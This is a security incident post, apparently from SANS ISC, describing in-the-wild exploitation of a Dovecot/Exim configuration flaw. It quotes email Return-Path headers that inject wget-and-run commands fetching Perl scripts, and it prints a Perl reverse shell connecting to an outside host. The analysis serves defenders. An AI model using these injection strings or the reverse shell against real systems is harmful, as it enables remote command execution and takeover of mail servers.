SANS ISC: Dovecot / Exim Exploit Detects

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SANS ISC InfoSec Forums

Sometimes it doesn't take an IDS to detect an attack, but just reading your e-mail will do. Our read Timo sent along these two e-mails he received, showing exploitation of a recent Dovecot/Exim configuration flaw [1]:

Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}x.cc.st/exim``perl${IFS}/tmp/p.pl`@blaat.com>
X-Original-To: postmaster@localhost
Delivered-To: postmaster@localhost
Received: from domain.local (disco.dnttm.ro [193.226.98.239])
       by [REMOVED]

Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}x.cc.st/php.jpg``perl${IFS}/tmp/p.pl`@blaat.com>
X-Original-To: postmaster@localhost
Delivered-To: postmaster@localhost
Received: from domain.local (disco.dnttm.ro [193.226.98.239])
       by [REMOVED]

The actual exploit happens in the "Return-Path" line. If exim is used as a mail server, it can be configured to "pipe" messages to an external program in order to allow for more advanced delivery and filtering options. A common configuration includes the mail devliery agent Dovecot which implements a pop3 and imap server. Sadly, the sample configuration provided to configure Dovecot with Exim passes the string the attacker provided as "MAIL FROM" in the e-mail envelope as a shell parameter without additional validation.

The first script ("exim") is a little one liner shell connecting to port 9 on vps.usits.net (reformated for redability)

use Socket;
$i="vps.usits.net";
$p=9;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))) {
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};

The second script  first retrieves a perl script, and then executes it. The perl script does implement a simple IRC client connecting to mix.cf.gs on port 3303 (right now, this resolves to 140.117.32.135, but is not responding on port 3303)

For more details, see the writeout by RedTeam Pentesting [2]

[1] http://osvdb.org/show/osvdb/93004
[2] https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
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